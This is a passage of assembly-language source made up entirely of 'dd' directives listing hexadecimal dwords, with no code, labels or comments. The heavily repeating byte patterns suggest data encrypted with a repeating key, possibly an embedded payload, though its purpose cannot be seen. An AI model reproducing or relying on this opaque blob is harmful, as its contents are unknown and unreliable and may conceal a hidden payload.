2254C3DFh, 0D6A4F153h dd 0D2A15AC9h, 5657B55Fh, 56ABB7DBh, 49145432h, 16C06213h dd 0D6144952h, 535341D5h, 9F5DB132h, 2919D8DDh, 59AC3054h dd 102FBEB2h, 36D5B136h, 0AF240E3Dh, 8FF7B253h, 59BCA41Ah dd 565DBBBCh, 37CED132h, 0E4A779B3h, 0BFCA9665h, 56D5B13Ch dd 26A31B8Ah, 7283F2BCh, 8C760044h, 361D6F50h, 56AEBCDBh dd 3618ED32h, 0B10964ACh, 6BC72B2Fh, 0E98C6731h, 0D6149F44h dd 0D2B553C9h, 565DB2FFh, 56AF3F3Dh, 0D6AFB132h, 0D2A452C9h dd 56D5B294h, 0AD6BD7C7h, 0D27A5255h, 56BAB283h, 0A6BE31CBh dd 5324BE52h, 0EF57B132h, 25CB4696h, 0D4DAD0CEh, 56EAB13Eh dd 56733D3Dh, 0DCB5B132h, 565DB132h, 59DE4AB2h, 56541DB6h dd 0DDCDD132h, 9154D7CAh, 0BF8BF98Ah, 5675B139h, 553125B4h dd 0E19EAF36h, 30FBB19Bh, 0D558AFB9h, 56ABB133h, 0AE3631CBh dd 4C52D752h, 0ADF5D057h, 993EBE8Ah, 0AA5DB133h, 0EEC84952h dd 0D636F1A3h, 0D2A4B40Ch, 56D5B08Ch, 7BD431CEh, 57C1353Dh dd 0D7DAB132h, 9181CFF3h, 56BC5874h, 54D3B132h, 3314828Ch dd 543D8EECh, 0E11A3708h, 0F139677Eh, 3E843153h, 57D1353Dh dd 0BFCEB132h, 5657B123h, 0DECF59B3h, 753EDB18h, 748C0002h dd 0BCF49FF9h, 56B5587Dh, 5145B132h, 1B253FFAh, 3B869BBBh dd 13E3BC41h, 0AF95D016h, 2AC433CDh, 539CB729h, 0D8BAB132h dd 5A656C81h, 0AAB03A54h, 59AF56B2h, 56ABA6BEh, 56C75832h dd 0EF04B132h, 42C38975h, 0B5CBCF5Bh, 17CBB24Fh, 0FCB5D32Bh dd 0D7AC3054h, 492FBEDAh, 59D5B133h, 56EAA2BBh, 5BF6BE32h dd 0BFBAB132h, 565DB13Ah, 0F75A7655h, 75F61CD6h, 0BFB53A54h dd 56D5B123h, 0AA7ACAEFh, 95C8F9E7h, 0C00A812Eh, 0AA9A2E52h dd 4328BE10h, 0BF57B132h, 56ABB122h, 236697ABh, 0DBB3EAF2h dd 456719C5h, 0B30DAE95h, 0BFAD56B2h, 56AEB13Bh, 4D82505Eh dd 2B642085h, 0D7B3D1E5h, 0BE25E2C5h, 5675B13Ch, 6CBEEEA4h dd 0FCC2BC1Ah, 0D600AAD4h, 0D2586801h, 56ABB132h, 0D7B3D06Bh dd 592A30C9h, 567524B6h, 56BF5832h, 544BB132h, 3622C69Ah dd 565B303Dh, 0DBA4B132h, 56D5B134h, 56EA333Dh, 0BF20B132h dd 56BAB13Eh, 4CF69A7h, 44932AFFh, 1BC723A4h, 2C2823CDh dd 30B5B729h, 9D6B4BB9h, 74838B72h, 0BFDAEC53h, 565DB135h dd 0C7D21C73h, 0DD319E34h, 1322D0F5h, 56C158CEh, 0FBB2B132h dd 4E695A7Fh, 0F849131Bh, 63111D7Ah, 0E9DE0E8h, 5936D193h dd 56ABB9B7h, 5453BE32h, 36EAB132h, 0AA083253h, 333FBE33h dd 0BF5DB134h, 56AEB13Bh, 0B193C662h, 856B0CEDh, 0EC5E4469h dd 50FFB2FBh, 296E0B52h, 0D9B5AABBh, 565DB134h, 709879B3h dd 63681F7h, 56A758CBh, 271FB132h, 0C33FD2A5h, 16F8293Ch dd 0D4312783h, 5046CD1Ch, 9119BE52h, 5652313Dh, 1A13B132h dd 37D164BFh, 0A3DA8D0Bh, 5FF7BE6Ah, 0BFBAB134h, 565DB137h dd 90FD8DF2h, 0DBED3AF5h, 0A3ADA430h, 0D45E4962h, 50F1CD1Ch dd 53F9BE52h, 30BAB132h, 5E707FB3h, 56AC343Dh, 3737B132h dd 66978853h, 56DC5852h, 2157B132h, 0B08CF5B9h, 0A307CA9Ah dd 0D952E953h, 56AEB4F2h, 79ED3ACAh, 0A3ADAA48h, 2CFA33B1h dd 36FEB729h, 56733C3Dh, 0DBB5B132h, 565DB132h, 56AEB7DBh dd 46013832h, 37B1062Ch, 0BF2086BBh, 56EAB121h, 4E0F048h dd 4B060074h, 4B5664A3h, 72FE9AA4h, 0DFF7102Ah, 653A175h dd 78573ACEh, 0BFECAA4Eh, 5675B138h, 0FAB4A34h, 0E1B9B299h dd 0D2A189A2h, 5657B120h, 56ABBCDBh, 8BB81232h, 1A7CF570h dd 6AFC26D5h, 4A3179F8h, 564D5802h, 8765B132h, 0F6998AEh dd 0BB2872F8h, 3D49BA5Ch, 0BFB2454Dh, 5675B135h, 6D4B75CBh dd 0DF44A9DEh, 59CEB96Dh, 5657B2B9h, 2B7C3132h, 178769B3h dd 0BF8BD511h, 5675B43Eh, 413DBECEh, 0BF5DB132h, 56AEB120h dd 9143457Eh, 5B769769h, 12A1C30h, 0FE32AA5Ah, 13B2AE3Fh dd 56BAB3CAh, 64B44D32h, 36AEB132h, 300A68B2h, 0DB8E7EB3h dd 0AE907653h, 56EAB133h, 0C9843052h, 59871759h, 565DA2BAh dd 56A05832h, 0B52FB132h, 0F108C08h, 0F397359Fh, 57EDFFEh dd 79CF3A53h, 59BCAA48h, 565DBDBDh, 56A95832h, 200EB132h dd 12C1EC6Eh, 795732CCh, 42ECAA48h, 5675A3DBh, 264DF432h dd 1074259Eh, 62F55C2Ch, 784FFA11h, 0DFBA1EC2h, 56D85805h dd 0A172B132h, 8E030C7Fh, 0E52BE28Fh, 36DE96DCh, 56AEA3DAh dd 0C85FA32h, 0AC266B0Bh, 331F02FFh, 81A10109h, 0BF99B3C0h dd 56BAB13Eh, 27D52014h, 0D859F277h, 3CB16A2Ah, 0B72AD76Dh dd 0DFB4BA45h, 0D516A175h, 0D37AB2CAh, 56BAB172h, 0EE3DD1CAh dd 1977FF69h, 5657B4DBh, 1D1CD32h, 59B4B98Fh, 56EAB2B6h dd 91C2BE32h, 78387653h, 545BAA4Eh, 59AEB132h, 5657BCB4h dd 56A35832h, 4D9DB132h, 26C746CAh, 4B9CBD50h, 0AEBAB132h dd 595F49B1h, 56ACFDBFh, 56595832h, 4F23B132h, 2EAA8EF9h dd 0D951AA2Bh, 0FF54E45Ch, 5642CCB1h, 5692353Dh, 0DEA1B132h dd 5657B135h, 56AA303Dh, 5929B132h, 0AAEBF784h, 5675319Bh dd 393FBE32h, 365DB132h, 0F20C0A54h, 379D063Dh, 412CBE72h dd 0BFD5B132h, 56EAB120h, 78ABC3AAh, 7B4103ECh, 0F23E695Eh dd 0F63C378Eh, 0BED45AD0h, 0BFCB4437h, 56D5B120h, 8F62B8AFh dd 818E9DACh, 0B4D239D0h, 12D4BE91h, 594754E5h, 1457B132h dd 0DDAC90B9h, 3C022206h, 0C852CCC4h, 0BF14614Fh, 56BAB17Dh dd 565DBCDBh, 0F5829732h, 0FB0DF43h, 3ACF4D03h, 0A9F811F3h dd 0BFEAB132h, 5675B126h, 56ED366Dh, 9368E801h, 554E5083h dd 7870E239h, 0C0E97657h, 0BFD059B1h, 56EAB13Eh, 7C10E283h dd 35C666B7h, 4A8B2D1Ah, 37CED152h, 0D636D052h, 0BFCA73D6h dd 56D5B12Fh, 5F03E2CEh, 1F75B132h, 477CB478h, 916DD84Ch dd 2A802BB9h, 0DDABB729h, 0D528236h, 56D518C7h, 0D3E53132h dd 5675B190h, 56BB3D3Dh, 55A8B132h, 5723BEF4h, 0A357B132h dd 0BFAE71B1h, 56D5B13Bh, 0C2250378h, 0B7E3D2F0h, 7838B26Dh dd 0BF5BAA4Eh, 56AEB137h, 0DDEBA679h, 0DF57F9F9h, 0D1DAB975h dd 56EAB129h, 56645952h, 5708B132h, 0EFE9C946h, 1ACB546Fh dd 2B456BAEh, 0C35988Eh, 36B4D052h, 0D7380E3Dh, 0A03E10F9h dd 1133D019h, 5649583Eh, 6D40B132h, 3FD98791h, 0F5277012h dd 27C00023h, 0DAE3087Ah, 1F9C2CD9h, 59BAB130h, 565DA9BDh dd 4646D132h, 0BF57B132h, 6A86BA77h, 0CCA4E6BCh, 9A68F50Ch dd 0CCEE9CFh, 8E4D4953h, 369B9ACBh, 56A8353Dh, 0D258B132h dd 56ABB132h, 37665CB2h, 0DD8A69C5h, 57FABEE1h, 0AEBAB132h dd 539D3253h, 56AF303Dh, 55AEB132h, 4DD79FB0h, 5E5ABE34h dd 59EAB132h, 5675B3BDh, 1EDBD132h, 52DEBE52h, 30AEB132h dd 0BFA56789h, 56ABB134h, 0DF1F4ED8h, 0AA8BD7FBh, 0BF7DF6BBh dd 56BAB123h, 0F3144803h dd 250906B3h, 7B511EFDh, 89B87BBBh, 5A92387Bh, 44870952h dd 3780B48Ah, 56BB16DBh, 56525832h, 0B411B132h, 901DF112h dd 14FD6A9Ah, 68BD15FDh, 592A82B8h, 5675AAB9h, 4339BE32h dd 0BF5DB132h, 56AEB122h, 148D1DFCh, 3A41FD19h, 57E8E93Dh dd 0AA3E79FFh, 0BF74F7B8h, 56BAB13Fh, 0FA34534Ch, 5D42ADCDh dd 0ECA50E78h, 552CBE76h, 36D5B132h, 0D642D0CEh, 5698343Dh dd 0D4B5B132h, 565DB133h, 3668B2CBh, 5657B9DBh, 1C758732h dd 4A4FAEA6h, 9669D04Bh, 5E9CD130h, 3EBAB132h, 0CE36D605h dd 0BE4A4CB2h, 5657B120h, 25BF419Fh, 6BA03FB8h, 782B036Eh dd 4C724BEDh, 0E1B511F7h, 0ED3CEBE9h, 56AEB133h, 56593C3Dh dd 0DCCBB132h, 56D058CCh, 6099B132h, 37E1FBECh, 0D2B56A39h dd 565DB170h, 56AEB6DBh, 34840832h, 7C52B16Fh, 0EF4F3BCEh dd 36ECAB8Bh, 0FD4977B3h, 0DDDCADF8h, 0B5DDD0C8h, 5A46D133h dd 7757B132h, 3836A1D9h, 59D59209h, 0DD2E949Eh, 509CEEC3h dd 0C0BAB132h, 22D7C0D5h, 95ADD059h, 565D5952h, 2BE3B132h dd 0AC64ED98h, 0AFD5442Bh, 0E92CD052h, 56AA7B0h, 5E1A3853h dd 5AE938CEh, 0B1940A52h, 0DDCDF8FAh, 273CD0ECh, 0AAEAB132h dd 5675BFDBh, 6145FC32h, 0A8473746h, 2C1A52C0h, 0A145A96Dh dd 0A98E49EAh, 0BFD5B132h, 56EAB13Ch, 6ECF8FAAh, 0E38A7681h dd 0E0ECD19Ah, 0D2A15B51h, 5657B135h, 0D6E70252h, 7DB430E1h dd 8E1D49F4h, 62943052h, 37953F88h, 0A35F71B1h, 59A6F6BBh dd 5657BDB2h, 5020BE32h, 59D5B132h, 56EAB1B2h, 5A323832h dd 56BAB6DBh, 0D3018F32h, 204C9C5Bh, 50D2BECAh, 36ABB132h dd 6DC0954h, 9F1FD053h, 59933B52h, 56BABFB0h, 56545832h dd 9F24B132h, 0F8B9B9D3h, 372B9DAFh, 56C558F1h, 2C0BB132h dd 77FA25C8h, 4C185711h, 19880C20h, 0BECEB071h, 5657B13Eh dd 2E71F391h, 1D990B18h, 4BB185E1h, 56753A3Dh, 30E0B132h dd 28E59B3h, 4247E453h, 2857B132h, 0A064752Dh, 4D9C66FAh dd 4CC2D0F9h, 4E3B2D32h, 0DDC42FA9h, 565B58DEh, 0BF57B132h dd 0F5E943C9h, 0A35775B1h, 563D4952h, 0CEAB132h, 0E3E55BB3h dd 5953B729h, 0F35DB132h, 0C184AE16h, 0B4A096A0h, 32E64D5Ah dd 533C0AADh, 8EAB132h, 0A791842Ch, 2F440BB9h, 5FB4B729h dd 0E2AEB132h, 94C6B137h, 0CCC1428Ch, 0D52C7801h, 0D2E5B10Dh dd 5675B5A0h, 0BFBD3ACBh, 565DB120h, 0ABDFA1BDh, 5EA74019h dd 0DBBB4A65h, 4BC3747Ah, 0DCE5F501h, 5675B120h, 56B6373Dh dd 51B4B132h, 0A5AEB132h, 0F8C7CCECh, 2354E65Dh, 56DD583Eh dd 0E07EB132h, 0CC66A6FAh, 59DA0E9Ah, 0BF0A628Dh, 56AEB134h dd 7CDCAC6Ch, 37F54939h, 0BFDDC4CDh, 56EAB13Bh, 0FE1CF788h dd 5D931296h, 0BEA1E1C3h, 56AEB9CEh, 5997BACBh, 56ABF1B7h dd 4659BE32h, 0BFEAB132h, 5675B139h, 0DDE085F6h, 783AF52Bh dd 0DD095197h, 56435835h, 7625B132h, 0E57A538Eh, 39D3B89Eh dd 8A26A3DAh, 0BA7E108h, 65B49013h, 0BFAEB132h, 5657B137h dd 0E6DB9AC4h, 42123264h, 56EABBDBh, 155A5832h, 3F4E3E13h dd 0BF101F2Ch, 0A9514E19h, 5657BCDBh, 0C6B98E32h, 0E08FD0FFh dd 24E6BDF4h, 13FC86B8h, 56BD58CEh, 0C896B132h, 0B0B52F1Ch dd 5A224E18h, 56BF3E3Dh, 593CB132h, 9AEAB132h, 18DE4FD7h dd 3AB9429Fh, 10E06C64h, 2351EE58h, 61A8483Ah, 5EF959CAh dd 513CB132h, 0B2EAB132h, 0B7BF176h, 96B1C2E6h, 566F353Dh dd 0D3A1B132h, 5657B133h, 55F758CBh, 59B5B132h, 56EABFB3h dd 567C5832h, 88E9B132h, 4FC4556Fh, 0BE0432F8h, 5657B13Ah dd 7861C37Eh, 4369D820h, 37B542B9h, 3689F4B9h, 0AF410E3Dh dd 595A8853h, 56AD94B0h, 57DDBE32h, 0A3ABB132h, 0BF29F4CDh dd 56EAB13Eh, 0BB63D53h, 0F0199A45h, 1C6B4669h, 56AACEB1h dd 5612353Dh, 0D5A4B132h, 56D5B13Bh, 30710252h, 17D259B3h dd 5AC53253h, 7AD9BE32h, 0AAAEB132h, 5657EEDBh, 982AD132h dd 3AC699CDh, 56EABDDBh, 8E17B532h, 0C95F7EBBh, 6CB2B500h dd 0D3A1D0D3h, 5657B135h, 0D8850A52h, 0EEB4A4DBh, 0A9154ECDh dd 5675A0DBh, 84D83732h, 0DA76B399h, 0AABAEA3Fh, 0BA6F8C4Bh dd 5312DD35h, 0A3D5B132h, 308A1AC1h, 0D07A61B9h, 56BAB133h dd 0B4B4D0C7h, 36514ECCh, 378B76B2h, 53BBCEB1h, 565C353Dh dd 4203B132h, 0CE75B132h, 292E5BD6h, 37F1FA95h, 9D372779h dd 0B5DA3C8Dh, 0D5F7800Bh, 59D3A14Dh, 56EACBB7h, 567E5832h dd 9903B132h, 625801A7h, 8AF03F97h, 0E831D165h, 17CAD3F7h dd 56D4383Dh, 0AA16B132h, 5971F6B9h, 56BAB0B1h, 9D64932h dd 56BD583Eh, 6526B132h, 596F6ECAh, 958CC892h, 0E739472Ah dd 31BA2A35h, 4033BE41h, 0BF5DB132h, 56AEB123h, 0E7A0BDCDh dd 0FCF02AB1h, 5BDEEB8h, 0C4BB3AA0h, 57E758E3h, 0DD4FB132h dd 0DDA4B575h, 0D7A1BD6Dh, 5657B133h, 57CD58CEh, 0DD2CB132h dd 0AF8AB575h, 5673343Dh, 0D8B5B132h, 565DB132h, 5AF13A53h dd 56513B3Dh, 0AECBB132h, 37050E3Dh, 59E2EE09h, 567570B7h dd 5A3ABE32h, 595DB132h, 56AEB7B1h, 56D0BE32h, 4ABB132h dd 56C1383Dh, 5903B132h, 0E75B132h, 241BCB0Ch, 6940AFFh dd 0B1BCE00h, 1DC2BBBh, 56BF5836h, 0CC7DB132h, 509DB38Dh dd 0AE77F717h, 0A29C61C6h, 72D77044h, 385A378h, 51D3BE22h dd 59ABB132h, 56D5B0B0h, 551F4D32h, 0D67AA567h, 56BAB13Ch dd 565A5852h, 0F952B132h, 0CAFF805Fh, 920D064h, 8CFE483Eh dd 530132CBh, 0B4CDD752h, 0A03BD715h, 0C3C18FFh, 56AEBADBh dd 0E92C4332h, 2ECB28CFh, 0FBCD5122h, 56EAC9DBh, 3015D132h dd 60E767B3h, 565D3E3Dh, 0BFCFB132h, 5657B123h, 306F29EDh dd 0FB3ECD2Dh, 0F571FFCh, 2B2367Dh, 1131D091h, 564F5836h dd 7E43B132h, 10F32C44h, 0B7C36C11h, 0EEBFA8CBh, 70051187h dd 0AA79EEB9h, 853BD752h, 0DB520545h, 56AEB130h, 7D36D052h dd 4542B56Dh, 64D5B132h, 5E22803Fh, 0A5968EADh, 6D40DACBh dd 0BC95626Dh, 0BD2DADE2h, 0DC544D37h, 50BE9657h, 46AA32CEh dd 4B6FBE31h, 0BF75B132h, 56BAB122h, 0D54F8981h, 0EFF5D100h dd 1498198h, 9E979633h, 575CBE73h, 0AFEAB132h, 0DF7A6819h dd 56BAB122h, 56573B3Dh, 5347B132h, 0BC57B132h, 3AC730EAh dd 57D4EDBBh, 56E73F3Dh, 5E9CB132h, 24BAB132h, 0E6FEEC25h dd 0EE89C3D1h, 0A9A84ECDh, 56AE08C7h, 0DDB5B132h, 4069BEFCh dd 0BF75B132h, 56BAB123h, 6896A382h, 0AE64FD39h, 7A7476DEh dd 0CE76BCh, 0FD26D056h, 9D61D752h, 59148A83h, 56BAB0B4h dd 34B44932h, 59514ECEh, 5657B0BDh, 0AFCA4D32h, 59B5D1FBh dd 56EAB1B5h, 56F1BE32h, 37BAB132h, 565DBADBh, 3EB96632h dd 0E28CA7E9h, 0C87E5340h, 56C57353h, 56EABBDBh, 0F9B88F32h dd 3D76A126h, 359D03Dh, 0AE423ACEh, 0AEAB75B1h, 1A1AD152h dd 56D6383Dh, 0E1E5B132h, 569DD0C5h, 0CBAB132h, 0ECE55BB3h dd 0DEA1B729h, 5657B125h, 56ABA3DBh, 0DD736232h, 2672CA97h dd 1A4B6395h, 0D114893Dh, 0AFC8824Eh, 2F500BB9h, 65ABB729h dd 0D3A4D1FBh, 56D5B134h, 0B9B541B3h, 0B0FFD02Ch, 56AE5853h dd 8C7FB132h, 53FD60EAh, 0CB843347h, 2CFEA00Dh, 3A439524h dd 69697D29h, 8DF1BE32h, 0BFBAB131h, 565DB138h, 172EFBCh dd 0A2315A0Dh, 0D9A46804h, 56D5B13Eh, 56EC343Dh, 0DD7AB132h dd 56BAB132h, 59B4B6B9h dd 91AEB132h, 0F746C283h, 9DA146EDh, 181730E4h, 2315E994h dd 5EFEBE3Eh, 59BAB132h, 565DB3B4h, 59CFD132h, 5657B6B9h dd 572FBE32h, 0AED5B132h, 0A3E2C4CDh, 10C7D162h, 56BAB8DBh dd 0CFFFEE32h, 0E548634Dh, 0BE361887h, 56ABB286h, 56D5BDDBh dd 0E2284632h, 9397F3E9h, 0A509150Ah, 599DBA7Bh, 56AEFCB7h dd 0E931D132h, 9721D3A2h, 5C5EBE53h, 36EAB132h, 0B97041B3h dd 37DAECE4h, 365A3A53h, 56AEA5DBh, 0B96BAD32h, 7F427630h dd 0AC7CB033h, 0E9164393h, 0B2559786h, 0A301D700h, 60B4D0C7h dd 0BFAEB132h, 5657B138h, 0D4DC5F31h, 2547FAFFh, 9169BBFAh dd 51F9BE26h, 59BAB132h, 565DB0B2h, 5D474932h, 59A84ECDh dd 56ABBDBEh, 0A6AD132h, 30FABA80h, 995D43B3h, 0AAFF3853h dd 565DBBDBh, 3BAD3332h, 72F7B50Fh, 0A90EC0DAh, 0D7DABD47h dd 56EAB124h, 5675A0DBh, 72632F32h, 9F23C021h, 0BE4DB7EFh dd 2F719E74h, 23543E85h, 0A9294D3Ah, 0D78CD105h, 6A438E1h dd 56BABDDBh, 1B2A5E32h, 0FB48150Fh, 7C1C14E9h, 0BECAE879h dd 56D5B3E2h, 56EB313Dh, 3680B132h, 2FE60854h, 599DBA53h dd 56AE9BB6h, 5BD8BE32h, 36ABB132h, 3A1B3054h, 2021306Fh dd 3705EA2Ch, 56B8E8DBh, 56505832h, 84EEB132h, 0E9933E43h dd 0B3EB70BEh, 0DD74FAD8h, 0D3E54D77h, 5675B131h, 6FDB4952h dd 65DFBE35h, 36AEB130h, 0CCA63054h, 45B30AFh, 37E0298Ah dd 5916F4CDh, 5675B0B7h, 29394432h, 0D252B136h, 56AEB117h dd 5A2832CEh, 4C2FBE32h, 36D5B132h, 0C01D57B3h, 80FEF0A4h dd 56DA5853h, 0AA3DB132h, 562ABE65h, 857B132h, 0A9540953h dd 7B54ECDh, 56EABFDBh, 6520432h, 0B31D3852h, 0C8C07115h dd 8E40D7Ah, 5657BFDBh, 7C573E32h, 0ECC87604h, 0E5DE5A57h dd 37DA2CB1h, 56BAB48Bh, 0FDAE4D32h, 56A63D3Dh, 0D358B132h dd 56ABB130h, 8E3CD052h, 36154ECCh, 9E7B0A54h, 0D7793054h dd 29DED034h, 0D2A1B422h, 5657B1A2h, 56ABBCDBh, 7C71732h dd 619BD09h, 8714038Eh, 2939B768h, 0D352B722h, 56AEB197h dd 5657B4DBh, 0D39CF732h, 3694A760h, 59034D52h, 0BE75B132h dd 0D5D00355h, 57BD5E38h, 7654DFA8h, 3736FB5Ah, 52EC3AC7h dd 0BF293B52h, 56EAB13Ah, 9E30E5E3h, 634FDE6Eh, 5A023A53h dd 56AEA3DBh, 0F92E5F32h, 0EF9BAA32h, 735AE9D3h, 5D6CA637h dd 0BF5DF4C6h, 56BAB187h, 564C5852h, 0A81B132h, 0C66A5036h dd 0BDC737DCh, 0AD12458Fh, 46D212h, 0AA14EECEh, 0AABEF6B9h dd 0BF51EEB9h, 56AEB121h, 2E1FCBEDh, 477D6A1Ah, 0B07A1E1Ch dd 9A788B84h, 0AE45C0DFh, 56BAC0DBh, 565A5832h, 3EDDB132h dd 9B79C15h, 52EC3ADCh, 56D5A2DBh, 4D766A32h, 2A35D3EEh dd 2B4B1F88h, 0E85651ABh, 6FDC44A8h, 5A083ACBh, 52F49AC7h dd 56DC5852h, 265DB132h, 22294EDEh, 0E9FF5E67h, 7C967F8Eh dd 53453253h, 462832CAh, 492EBE31h, 36D5B132h, 65B00954h dd 0C2DE361h, 5946F053h, 565DBCB7h, 56A65832h, 5ECDB132h dd 2069A8D3h, 8FFE9865h, 57B638C7h, 5C9CD133h, 3FBAB132h dd 0D4140D2Fh, 0B766E16Dh, 0A9EFD06Bh, 0BF544ECDh, 56D5B138h dd 57DC3D8Ch, 862FE222h, 5303C59Eh, 365DB132h, 0CDE4A28Bh dd 6EDD742h, 0FD58D032h, 56D858CBh, 77B1B132h, 34717685h dd 0B37538EAh, 0BF5983ADh, 0A9514C75h, 565B323Dh, 0D4A4B132h dd 56D5B134h, 56EA383Dh, 0A314B132h, 0E9B5D1FBh, 564E59EDh dd 6CCCB132h, 22285AD4h, 0EA22A6FCh, 57382D87h, 6F58352Fh dd 372C44F0h, 56BABDDBh, 6ADD6032h, 4C2CEA1h, 91E18C25h dd 56A373AFh, 56D5BEDBh, 0BE816632h, 633FE88Ch, 9A57B85Ah dd 913C2184h, 56A25867h, 0B4A0B132h, 32E64D5Ah, 7260AADh dd 0BA61FAF8h, 0BBCFD752h, 56B15861h, 8526B132h, 0BF461D96h dd 6467FFB6h, 9228D02Dh, 56DF58CEh, 0F2ADB132h, 0E1D11DD2h dd 8101B2E2h, 564F5852h, 0C27B132h, 75599F7Ch, 95443297h dd 0B6482B64h, 0E701611Dh, 367DF4B9h, 66753054h, 6D3C445Ch dd 0D4A1BD77h, 5657B166h, 56AA3F3Dh, 0AA20B132h, 59FAF409h dd 5675F2B5h, 463BBE32h, 0BF5DB132h, 56AEB139h, 55E5871Dh dd 4931B9EFh, 915F9A32h, 56EA4D77h, 0D17AB132h, 56BAB13Fh dd 565DB9DBh, 0E411BB32h, 2F3F7420h, 56A35863h, 591AB132h dd 0D3A07837h, 709C4B05h, 0AEBAB132h, 57A1F4F5h, 36AEB132h dd 2FD60A54h, 56B85853h, 0D4DAB132h, 56EAB13Eh, 5675B6DBh dd 42581A32h, 266207D7h, 0DD57D0CBh, 5EBE4D77h, 9CABB132h dd 72ECCD27h, 9FB3AB41h, 5675BCDBh, 94BFBF32h, 0DF6CED18h dd 0BF151CF4h, 5EBEA5B7h, 0BABB132h, 0EAE3E055h, 94C2B68Ah dd 598DB13Eh, 56BAB0BCh, 59084832h, 56AEB9B7h, 54DABE32h dd 36ABB132h, 36393A53h, 56EAA5DAh, 826BDE32h, 86B89FC8h dd 9F057A96h, 0F3B11495h, 6FAF0CB5h, 2E13D79Ah, 0D0DAEE7Bh dd 56EAB134h, 4B855BB3h, 0D5DB9693h, 5DB44DF6h, 65AEB132h dd 8B4CD65h, 78F8552Dh, 0AFB5E70Bh, 56EAB1DAh, 0BCF4EB32h dd 50A17180h, 564F58CEh, 0DAC1B132h, 55AB87A3h, 0F2CE3C35h dd 2AA3883Ch, 1C8606A2h, 5B9C7801h, 0FBAB132h, 0BF08572Eh dd 784B8DDh, 0B6EDE711h, 59CB6A01h, 0DDB34A85h, 5303D0FCh dd 9475B132h, 0A2F81C25h, 36A1ECBBh, 0BA6D3052h, 41BBBAh dd 0BFF9D06Ch, 56D5B121h, 0F1D2BFC7h, 0DFDCAF98h, 172DDE5Ch dd 0A531FF3Ah, 0DC9D002h, 0D701D153h, 76F0ECF0h, 5F3CEF33h dd 3AEAB132h, 0E16E64D3h, 81C77EA3h, 0A8E73A53h, 0AEA8AA4Bh dd 59578EB1h, 56A9ABB6h, 5A5FBE32h, 59EAB132h, 5675B7B8h dd 563DBE32h, 0D55DB132h, 0D3A14E0Dh, 5657B105h, 56A6373Dh dd 59B5B132h, 56EAB1B4h, 0D5AE0A32h, 0D5DBFCCEh, 51B4A5F5h dd 0EDAEB132h, 6B691416h, 0E342CEA5h, 0BF2A4ECDh, 56EAB139h dd 0DA010D5h, 0ADDCD92Eh, 0D5DA6E83h, 59AEB54Dh, 5657E0B6h dd 472FBE32h, 0BFD5B132h, 56EAB13Eh, 0EFD85D2Ch, 40DB80F6h dd 0CB285F23h, 0DD4C0652h, 29D4D0C1h, 0D2A4B13Eh, 56D5B118h dd 56EAB9DBh, 63EAEF32h, 3E970E99h, 566E5823h, 0AECEB132h dd 370F4865h, 56A7383Dh, 30B5B132h, 59656A89h, 5675B1BFh dd 1345D032h, 91DE44CEh, 5725BE26h, 0A357B132h, 0A95486DBh dd 0D8DA4DCDh, 56EAB133h, 460A32CBh, 223EBE37h, 365DB132h dd 292DD0CBh, 0D358B722h, 56ABB1BEh, 0E1DAD152h, 3E3C0BCCh dd 3014A8EBh, 3728ED89h, 42B4F0CAh, 5AEB132h, 9AED1BD9h dd 873C0EA7h, 0C4C13082h, 1C5B7D24h, 0AAF0EE2Fh, 0BFBEF6B9h dd 565DB121h, 0A4DD4DB4h, 988C31F4h, 0DE878FEh, 640A8780h dd 59CEB776h, 5675B0BCh, 9314932h, 5657583Eh, 63DDB132h dd 4C046115h, 0CE347A8Bh, 56D52BDBh, 0DD1F4832h, 539CB575h dd 0F5BAB132h, 0C1CB6017h, 0AAA2EEB9h, 5657CEDBh, 0DAA44D32h dd 56D5B13Ah, 56E8333Dh, 3715B132h, 59BEF6B9h, 565DA4BAh dd 56BE5832h, 968AB132h, 82A52801h, 4F19CF18h, 811F10B5h dd 9FEDB5Eh, 0D7DCD13Eh, 0EF73C5F3h, 49AF3664h, 52089A53h dd 56ABB4DBh, 20723532h, 0BD69FB90h, 5AF6BE37h, 0BFBAB132h dd 565DB135h, 4536D5CAh, 369C5B57h, 56ABB6DAh, 91C74532h dd 0BDE0A6CBh, 592E67B9h, 0D5DB488Dh, 595EA14Dh, 56AEB2B7h dd 0AE164432h, 0DF576819h, 0A3D4B06Eh, 0A9154E8Ah, 0DA7A44CDh dd 56BAB133h, 565808CEh dd 0A556B132h, 57D5BE99h, 0AEABB132h, 56D5A1DBh, 77BC1932h dd 4A1A9CD6h, 91B85E0Eh, 575C98DBh, 0AB70589Bh, 37A24ECDh dd 247B3052h, 599A71CBh, 56EAB3B4h, 37140432h, 0AE46F4B9h dd 565C3D3Dh, 9F56B132h, 0CFA73052h, 1C17435h, 330341B3h dd 37B5A61Ch, 57F7BEF1h, 0AFBAB132h, 0AA0C4862h, 5347D161h dd 0C157B132h, 0A640F04Ah, 56D5A5DBh, 0CD670432h, 0F3E76CCFh dd 1F750CAEh, 5708FF11h, 3C0DFE87h, 56BFD018h, 0CABB132h dd 951D5BB3h, 5A03B729h, 475B132h, 0DFFF46B2h, 9CCE08A0h dd 596821F7h, 5657A3BCh, 56A65832h, 519B132h, 494B60A4h dd 8312A0F3h, 360AF6B3h, 565DB7DBh, 3404B232h, 0BF1944FCh dd 56ABB13Dh, 1F0929B5h, 89981A50h, 9975526Ch, 37569BC0h dd 2CFE2BBFh, 0D1A1B729h, 5657B13Fh, 5620BE52h, 30D5B132h dd 0D20E73B3h, 56110953h, 0DFB5B132h, 565DB126h, 56AEBEDBh dd 4AB78532h, 0E75CBDCDh, 0FC8E2AB1h, 582EEB8h, 5675BBDBh dd 3534E132h, 6F81D9F0h, 0BEFC00F6h, 5657B5ECh, 56AA3C3Dh dd 0DD2DB132h, 56FE5839h, 56E6B132h, 0BC64E72Dh, 0ED296BA4h dd 950DC704h, 20E17B58h, 9790BC11h, 4E5CBE52h, 0BEEAB132h dd 5675B120h, 0A2EBA4A3h, 4E1433E9h, 0DCECC2FEh, 0B0EB3555h dd 30F147C7h, 4C4846B3h, 56415853h, 5580B132h, 0D3B5B579h dd 565DB133h, 596F8ACEh, 56576EB0h, 5F2CBE32h, 36D5B132h dd 54840E54h, 37A23A54h, 59AAFA31h, 565DA4BEh, 56BE5832h dd 1C1BB132h, 0D8942518h, 203AC1E2h, 7CAF3F28h, 0DB7AEA57h dd 56BAB120h, 565DBCDBh, 0E3A83632h, 0C5374B9Ch, 971A9471h dd 97EE2F81h, 56C0333Dh, 0D47AB132h, 56BAB134h, 64833152h dd 7E47D0CBh, 0BF57B132h, 56ABB126h, 0B36430A5h, 0C781FF73h dd 9EDF50A9h, 1B5EF069h, 0F43E1F0Eh, 